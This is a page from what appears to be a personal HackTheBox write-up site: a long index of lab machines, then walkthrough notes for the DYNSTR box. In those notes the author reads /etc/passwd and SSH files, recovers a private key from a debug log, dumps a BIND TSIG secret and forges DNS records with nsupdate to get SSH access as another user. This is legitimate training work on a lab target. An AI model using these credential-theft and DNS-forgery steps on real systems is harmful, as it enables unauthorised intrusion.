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  • kashz HTB Writeups
  • HTB BOXES
    • ACCESS
      • 5 admin
      • 4 user
      • 3 telnet
      • 2 http
      • 1 recon
    • ADMIRER
      • 5 root
      • 4 adminer-php
      • 3 ftp
      • 2 http
      • 1 recon
    • ARCHETYPE
      • 3 :1433 mssql
      • 2 :139 :445 smb
      • 1 recon
    • ARMAGEDDON
      • 8 privesc dirty_sockv2
      • 7 privesc
      • 6 box enum bruce
      • 5 :80 drupalgeddon2
      • 4 :80 droopescan
      • 3 :80
      • 2 :80 robots.txt
      • 1 recon
    • ATOM
      • 4 privesc
      • 3 box enum jason
      • 2 :139 :445 smb
      • 1 recon
    • BANK
      • 5 privesc
      • 4 box enum
      • 3 :80
      • 2 :53 dns
      • 1 recon
    • BANKROBBER
      • 6 privesc brute force PIN > BOF
      • 5 privesc bankv2.exe
      • 4 box enum cortin
      • 3 admin backdoorchecker.php
      • 2 :80 :443 XSS > admin
      • 1 recon
    • BASHED
      • 2 :80
      • 1 recon
    • BASTARD
      • 6 privesc_2 ms10-059
      • 5 privesc_1 ms15-051
      • 4 box enum KE
      • 3 :80 drupalgeddon2
      • 2 :80 drupal7
      • 1 recon
    • BASTION
      • 3 box enum > privesc
      • 2 :139 :445 smb
      • 1 recon
    • BEEP
      • 7 :80 elastix 2.2.0 RCE + privesc
      • 6 :10000 webmin
      • 5 :25 smtp
      • 4 :80 vtigercrm
      • 3 :80 admin
      • 2 :80
      • 1 recon
    • BLOCKY
      • 3 :22 ssh
      • 2 :80
      • 1 recon
    • BLUE
      • 3 ms17-010
      • 2 :139 :445 smb
      • 1 recon
    • BLUNDER
      • 5 www-data > hugo > root
      • 4 box enum
      • 3 bludit 3.9.2 file_upload RCE
      • 2 :80
      • 1 recon
    • BOUNTY
      • 4 JuicyPotato
      • 3 privesc check
      • 2 :80
      • 1 recon
    • BOUNTYHUNTER
      • 4 privesc
      • 3 :22 ssh development
      • 2 :80 xxe
      • 1 recon
    • BRAINFUCK
      • 5 privesc
      • 5 :443 sup3rs3cr3t.brainfuck.htb
      • 4 :143 imap
      • 3 :443 wpscan
      • 2 :443
      • 1 recon
    • BRAINPAN1
      • 4 privesc
      • 3 BOF
      • 2 :10000
      • 1 recon
    • BUCKET
      • 6 privesc
      • 5 dynamodb roy
      • 4 box enum www-data
      • 3 :80 s3.bucket.htb
      • 2 :80 bucket.htb
      • 1 recon
    • BUFF
      • 4 privesc
      • 3 :80
      • 2 :8080
      • 1 recon
    • CAP
      • 4 privesc
      • 3 :22 ssh
      • 2 :80
      • 1 recon
    • CHATTERBOX
      • 5 privesc autologon creds
      • 4 privesc w/ grant perm
      • 3 box enum
      • 2 :9256 achat chat system
      • 1 recon
    • CONCEAL
      • 9 privesc
      • 8 :80
      • 7 :21 ftp
      • 6 post vpn recon
      • 5 ipsec conn config
      • 4 ipsec summary
      • 3 :500/udp ipsec
      • 2 :161/udp snmp
      • 1 recon
    • CRONOS
      • 6 post enum
      • 5 privesc cronjob
      • 4 box enum
      • 3 :53 dns
      • 2 :80
      • 1 recon
    • DELIVERY
      • 4 :3306 mysql > privesc
      • 3 :8065 mattermost
      • 2 :80
      • 1 recon
    • DEVEL
      • 4 privesc_2 ms11-046
      • 3 privesc_1 JuicyPotato
      • 2 :21 ftp
      • 1 recon
    • DOCTOR
      • 7 post enum
      • 6 :8089 privesc splunk > root
      • 5 web > shaun
      • 4 box enum web
      • 3 :80 SSTI
      • 2 :80 splunkd
      • 1 recon
    • DYNSTR
      • 6 privesc
      • 5 box enum > bindmgr
      • 4 nsupdate exploit
      • 3 :80
      • 2 :53 dns
      • 1 recon
    • EXPLORE
      • 3 :2222 ssh kristi > root
      • 2 :59777 es file explorer
      • 1 recon
    • FRIENDZONE
      • 7 privesc
      • 6 administrator1.friendzone.red
      • 5 dns
      • 4 smb
      • 3 :443
      • 2 :80
      • 1 recon
    • FUSE
      • 7 privesc SeLoadDriverPrivilege
      • 6 rpc
      • 5 spray passwd
      • 4 :389 ldap
      • 3 :80 PaperCut Logger
      • 2 :139 :445 smb
      • 1 recon
    • GRANDPA
      • 4 privesc
      • 3 webdav exploit
      • 2 :80
      • 1 recon
    • GRANNY
      • 4 privesc
      • 3 :80 webdav exploit
      • 2 :80
      • 1 recon
    • HAIRCUT
      • 5 post enum
      • 4 privesc www-data > root
      • 3 box enum www-data
      • 2 :80
      • 1 recon
    • IRKED
      • 4 box enum
      • 3 :6697 irc
      • 2 :80
      • 1 recon
    • JARVIS
      • 9 post enum
      • 8 pepper > root
      • 7 www-data > pepper
      • 6 box enum www-data
      • 5 phpMyAdmin 4.8 LFI
      • 4 :80 sqli
      • 3 :64999
      • 2 :80
      • 1 recon
    • JEEVES
      • 2 :50000
      • 1 recon
    • JERRY
      • 4 manual
      • 3 tomcatWarDeployer
      • 2 :8080 tomcat
      • 1 recon
    • KNIFE
      • 3 privesc
      • 2 :80 php 8.1.0 dev
      • 1 recon
    • LABORATORY
      • 6 privesc
      • 5 gitlab admin dexter
      • 4 stable shell
      • 3 :443 gitlab shell
      • 2 :443 gitlab
      • 1 recon
    • LACASADEPAPEL
      • 4 box enum > privesc
      • 3 :80 > :443
      • 2 :21 ftp
      • 1 recon
    • LAME
      • 4 :139 :445 smb exploit
      • 3 :3632 distccd
      • 2 :139 :445 smb
      • 1 recon
    • LEGACY
      • 4 MS-17-010
      • 3 MS08-067
      • 2 :139 :445 smb
      • 1 recon
    • LOVE
      • 3 privesc
      • 2 :80
      • 1 recon
    • MAGIC
      • 5 post enum
      • 4 privesc theseus > root
      • 3 box enum www-data
      • 2 :80
      • 1 recon
    • MANGO
      • 6 post enum
      • 5 privesc admin > root
      • 4 mango > admin
      • 3 box enum mango
      • 2 :80 :443
      • 1 recon
    • MIRAI
      • 3 :22 ssh
      • 2 :80
      • 1 recon
    • MONITORS
      • 12 post enum
      • 11 docker breakout > root
      • 10 Apache Tomcat/9.0.31 deserialization RCE > docker root
      • 9 box enum marcus
      • 8 manual enum www-data
      • 7 :8443
      • 6 box enum www-data
      • 5 cacti-admin.monitors.htb
      • 4 wp with spritz exploit
      • 3 :80 wpscan
      • 2 :80
      • 1 recon
    • NETWORKED
      • 7 post enum
      • 6 box enum guly > privesc > root
      • 5 check_attack.php
      • 4 box enum
      • 3 :80 upload.php & lib.php
      • 2 :80
      • 1 recon
    • NIBBLES
      • 4 privesc
      • 3 fileUpload exploit
      • 2 :80
      • 1 recon
    • NINEVEH
      • 6 post enum
      • 5 privesc amrois > root
      • 4 box enum www-data > amrois
      • 3 :443
      • 2 :80
      • 1 recon
    • NODE
      • 7 post enum
      • 6 privesc tom > root
      • 5 mark > tom
      • 4 box enum mark
      • 3 :3000 login
      • 2 :3000
      • 1 recon
    • OMNI
      • 5 cracking user.txt | root.txt
      • 4 dump SAM SYSTEM
      • 3 box enum ?
      • 2 :8080
      • 1 recon
    • OOPSIE
      • 4 post enum
      • 3 box enum > privesc
      • 2 :80
      • 1 recon
    • OPENADMIN
      • 6 joanna > root
      • 5 jimmy > joanna
      • 4 manual enum > jimmy
      • 3 openNetAdmin 18.1.1
      • 2 :80
      • 1 recon
    • OPHIUCHI
      • 4 privesc
      • 3 yaml deserialization exploit
      • 2 :8080
      • 1 recon
    • OPTIMUM
      • 3 box enum > privesc
      • 2 :80
      • 1 recon
    • PASSAGE
      • 7 post enum
      • 6 privesc dbus com.ubuntu.USBCreator.conf
      • 5 box enum nadav
      • 4 box enum paul
      • 3 box enum www-data
      • 2 :80 cutenews
      • 1 recon
    • POISON
      • 6 foothold_3 log poisoning
      • 5 foothold_2 phpinfo.php + LFI
      • 4 privesc vncviewer > root
      • 3 box enum charix
      • 2 :80
      • 1 recon
    • POPCORN
      • 7 post enum
      • 6 privesc_2 rds
      • 5 privesc_1 full-nelson
      • 4 manual privesc > root
      • 3 box enum www-data
      • 2 :80
      • 1 recon
    • POSTMAN
      • 6 webmin (matt > root)
      • 5 Matt > root
      • 4 redis > Matt
      • 3 :6379 redis
      • 2 :80
      • 1 recon
    • QUERIER
      • 6 privesc GPP CachedPassword
      • 5 privesc
      • 4 mssql using msf
      • 3 mssql
      • 2 smb
      • 1 recon
    • READY
      • 4 PEAS > docker > escape > root
      • 3 :5080 gitlab
      • 2 :5080 robots.txt
      • 1 recon
    • REMOTE
      • 8 privesc teamviewer
      • 7 privesc UsoSvc
      • 6 privesc
      • 5 RCE
      • 4 :111 rpc
      • 3 :80
      • 2 :21 ftp
      • 1 recon
    • SCRIPTKIDDIE
      • 2 :5000
      • 1 recon
    • SECNOTES
      • 9 privesc_3 bash.exe
      • 8 privesc_2 UsoSvc
      • 7 privesc_1 PrintSpoofer
      • 6 box enum iis apppool
      • 5 :445 smb
      • 4 :80 CSRF
      • 3 :8808 IIS
      • 2 :80 IIS
      • 1 recon
    • SENSE
      • 2 :80 pfsense
      • 1 recon
    • SERVMON
      • 5 privesc
      • 4 box enum nadine
      • 3 :80 NVMS
      • 2 :21 ftp
      • 1 recon
    • SHIELD
      • 3 privesc
      • 2 :80
      • 1 recon
    • SHOCKER
      • 2 :80 shellshock
      • 1 recon
    • SILO
      • 6 odat shell
      • 5 sqlplus
      • 4 :1521 orcale tns listener
      • 3 :8080 XDB
      • 2 :80
      • 1 recon
    • SNEAKYMAILER
      • 11 post enum
      • 10 privesc low > root
      • 9 localhost:5000 > low
      • 8 box enum developer
      • 7 box enum www-data
      • 6 :21 ftp
      • 5 :143 imap
      • 4 :25 smtp
      • 3 :8080
      • 2 :80
      • 1 recon
    • SNIPER
      • 8 box enum chris + privesc
      • 7 iusr > chris
      • 6 privesc_1 PrintSpoofer
      • 5 box enum nt authority\iusr
      • 4 :80 /blog > LFI > smbRFI
      • 3 :80 /user
      • 2 :80
      • 1 recon
    • SOLIDSTATE
      • 7 privesc
      • 6 :22 ssh mindy
      • 5 :110 pop3
      • 4 apache james 2.3.2 RCE
      • 3 :4555 JAMES RAT 2.3.2
      • 2 :80
      • 1 recon
    • SPECTRA
      • 4 nginx shell > katie
      • 3 wordpress
      • 2 :80
      • 1 recon
    • SPIDER
      • 8 post enum
      • 7 localhost:8080 XXE
      • 6 box enum chiv manual
      • 5 box enum chiv
      • 4 :80 chiv login + SSTI
      • 3 :80 sqlmap via flask cookie
      • 2 :80 SSTI via /register to /user
      • 1 recon
    • SWAGSHOP
      • 3 privesc
      • 2 :80
      • 1 recon
    • TABBY
      • 5 tomcat > ash > root
      • 4 box enum
      • 3 :8080 tomcat9
      • 2 :80
      • 1 recon
    • TARTARSAUCE
      • 10 post enum
      • 9 privesc omuna > root
      • 8 box enum onuma
      • 7 www-data > onuma
      • 6 box enum www-data
      • 5 :80 monstra
      • 4 :80 wpscan
      • 3 :80 monstra
      • 2 :80
      • 1 recon
    • TENET
      • 4 privesc
      • 3 php file injection (deserialization exploit)
      • 2 :80 wordpress
      • 1 recon
    • THENOTEBOOK
      • 5 privesc docker runC exploit
      • 4 shell
      • 3 :80 JWT exploitation
      • 2 :80
      • 1 recon
    • TRAVEREXEC
      • 5 david > root
      • 4 www-data > david
      • 3 box enum
      • 2 :80 nostromo 1.9.6
      • 1 recon
    • VACCINE
      • 4 privesc
      • 3 :80
      • 2 :21 ftp
      • 1 recon
    • VALENTINE
      • 6 privesc dirtyc0w
      • 5 privesc tmux
      • 4 box enum
      • 3 heartbleed
      • 2 :80
      • 1 recon
    • WORKER
      • 11 evil-winrim robisl :5985
      • 10 box manual enum
      • 9 box enum iis apppool\defaultapppool
      • 8 privesc PrintSoofer FAIL
      • 7 :80 spectral.worker.htb shell
      • 6 :80 devops.worker.htb
      • 5 explore domains
      • 4 :80 dimension.worker.htb
      • 3 :3690 subversion
      • 2 :80 IIS 10.0
      • 1 recon
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5 box enum > bindmgr

www-data@dynstr:/var/www/html/nic$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
[truncated]
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
dyna:x:1000:1000:dyna,,,:/home/dyna:/bin/bash
bindmgr:x:1001:1001::/home/bindmgr:/bin/bash

# 2 users in /home
www-data@dynstr:/home$ ls -la
total 16
drwxr-xr-x  4 root    root    4096 Mar 15 20:26 .
drwxr-xr-x 18 root    root    4096 May 25 14:52 ..
drwxr-xr-x  5 bindmgr bindmgr 4096 Mar 15 20:39 bindmgr
drwxr-xr-x  3 dyna    dyna    4096 Mar 18 20:00 dyna

# nothing in dyna
# bindmgr has
www-data@dynstr:/home/bindmgr$ ls -la
ls -la
total 36
drwxr-xr-x 5 bindmgr bindmgr 4096 Mar 15 20:39 .
drwxr-xr-x 4 root    root    4096 Mar 15 20:26 ..
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 12:09 .ssh
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 14:53 support-case-C62796521
-r-------- 1 bindmgr bindmgr   33 Aug  3 01:58 user.txt

# .ssh has keys inside
www-data@dynstr:/home/bindmgr/.ssh$ ls -la
total 24
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 12:09 .
drwxr-xr-x 5 bindmgr bindmgr 4096 Mar 15 20:39 ..
-rw-r--r-- 1 bindmgr bindmgr  419 Mar 13 12:00 authorized_keys
-rw------- 1 bindmgr bindmgr 1823 Mar 13 11:48 id_rsa
-rw-r--r-- 1 bindmgr bindmgr  395 Mar 13 11:48 id_rsa.pub
-rw-r--r-- 1 bindmgr bindmgr  444 Mar 13 12:09 known_hosts

# cannot read id_rsa

www-data@dynstr:/home/bindmgr/.ssh$ cat authorized_keys
from="*.infra.dyna.htb" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF4pkc7L5EaGz6CcwSCx1BqzuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7aXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38PZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WOD bindmgr@nomen

www-data@dynstr:/home/bindmgr/support-case-C62796521$ ls -la
total 436
drwxr-xr-x 2 bindmgr bindmgr   4096 Mar 13 14:53 .
drwxr-xr-x 5 bindmgr bindmgr   4096 Mar 15 20:39 ..
-rw-r--r-- 1 bindmgr bindmgr 237141 Mar 13 14:53 C62796521-debugging.script
-rw-r--r-- 1 bindmgr bindmgr  29312 Mar 13 14:53 C62796521-debugging.timing
-rw-r--r-- 1 bindmgr bindmgr   1175 Mar 13 14:53 command-output-C62796521.txt
-rw-r--r-- 1 bindmgr bindmgr 163048 Mar 13 14:52 strace-C62796521.txt

# C62796521-debugging.script has a lot of datab but can see some private key for bindmgr
# storing it and trying to ssh in

$ ssh -i bindmgr_id_rsa bindmgr@10.10.10.244
The authenticity of host '10.10.10.244 (10.10.10.244)' can't be established.
ECDSA key fingerprint is SHA256:443auWJe5iDH5JBCq/9ir4ToxZ5PTzTv7XvRSYrz0ao.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.244' (ECDSA) to the list of known hosts.
bindmgr@10.10.10.244's password:

# still need password

# as we see in authorized_keys, clients `from="*.infra.dyna.htb"` can connect with this key possibly.

# enumerating /var/www/html/nic
www-data@dynstr:/var/www/html/nic$ cat update
cat update
<?php
  // Check authentication
  if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']))      { echo "badauth\n"; exit; }
  if ($_SERVER['PHP_AUTH_USER'].":".$_SERVER['PHP_AUTH_PW']!=='dynadns:sndanyd') { echo "badauth\n"; exit; }

  // Set $myip from GET, defaulting to REMOTE_ADDR
  $myip = $_SERVER['REMOTE_ADDR'];
  if ($valid=filter_var($_GET['myip'],FILTER_VALIDATE_IP))                       { $myip = $valid; }

  if(isset($_GET['hostname'])) {
    // Check for a valid domain
    list($h,$d) = explode(".",$_GET['hostname'],2);
    $validds = array('dnsalias.htb','dynamicdns.htb','no-ip.htb');
    if(!in_array($d,$validds)) { echo "911 [wrngdom: $d]\n"; exit; }
    // Update DNS entry
    $cmd = sprintf("server 127.0.0.1\nzone %s\nupdate delete %s.%s\nupdate add %s.%s 30 IN A %s\nsend\n",$d,$h,$d,$h,$d,$myip);
    system('echo "'.$cmd.'" | /usr/bin/nsupdate -t 1 -k /etc/bind/ddns.key',$retval);
    // Return good or 911
    if (!$retval) {
      echo "good $myip\n";
    } else {
      echo "911 [nsupdate failed]\n"; exit;
    }
  } else {
    echo "nochg $myip\n";
  }
?>

# we can see the /etc/bind/ddns.key; maybe more keys there?
www-data@dynstr:/var/www/html/nic$ ls -la /etc/bind
ls -la /etc/bind
total 68
drwxr-sr-x  3 root bind 4096 Mar 20 12:00 .
drwxr-xr-x 80 root root 4096 Jun  8 19:20 ..
-rw-r--r--  1 root root 1991 Feb 18 04:28 bind.keys
-rw-r--r--  1 root root  237 Dec 17  2019 db.0
-rw-r--r--  1 root root  271 Dec 17  2019 db.127
-rw-r--r--  1 root root  237 Dec 17  2019 db.255
-rw-r--r--  1 root root  353 Dec 17  2019 db.empty
-rw-r--r--  1 root root  270 Dec 17  2019 db.local
-rw-r--r--  1 root bind  100 Mar 15 20:44 ddns.key
-rw-r--r--  1 root bind  101 Mar 15 20:44 infra.key
drwxr-sr-x  2 root bind 4096 Mar 15 20:42 named.bindmgr
-rw-r--r--  1 root bind  463 Dec 17  2019 named.conf
-rw-r--r--  1 root bind  498 Dec 17  2019 named.conf.default-zones
-rw-r--r--  1 root bind  969 Mar 15 20:46 named.conf.local
-rw-r--r--  1 root bind  895 Mar 15 20:46 named.conf.options
-rw-r-----  1 bind bind  100 Mar 15 20:14 rndc.key
-rw-r--r--  1 root root 1317 Dec 17  2019 zones.rfc1918

www-data@dynstr:/var/www/html/nic$ cat /etc/bind/infra.key
cat /etc/bind/infra.key
key "infra-key" {
        algorithm hmac-sha256;
        secret "7qHH/eYXorN2ZNUM1dpLie5BmVstOw55LgEeacJZsao=";
};

# time to add infra.key
Using https://www.dns-school.org/Documentation/bind-arm/man.nsupdate.html (Example section)

www-data@dynstr:/var/www/html/nic$ nsupdate -k /etc/bind/infra.key -v
nsupdate -k /etc/bind/infra.key -v
update add kashz.infra.dyna.htb 86400 A 10.10.16.161
send

# as we added DNS A record; we need to add PTR record as well
update add 161.16.10.10.in-addr.arpa. 300 PTR kashz.infra.dyna.htb
send

quit

$ ssh -i bindmgr_id_rsa bindmgr@10.10.10.244
Last login: Tue Jun  8 19:19:17 2021 from 6146f0a384024b2d9898129ccfee3408.infra.dyna.htb
bindmgr@dynstr:~$ whoami;id;hostname
bindmgr
uid=1001(bindmgr) gid=1001(bindmgr) groups=1001(bindmgr)
dynstr.dyna.htb
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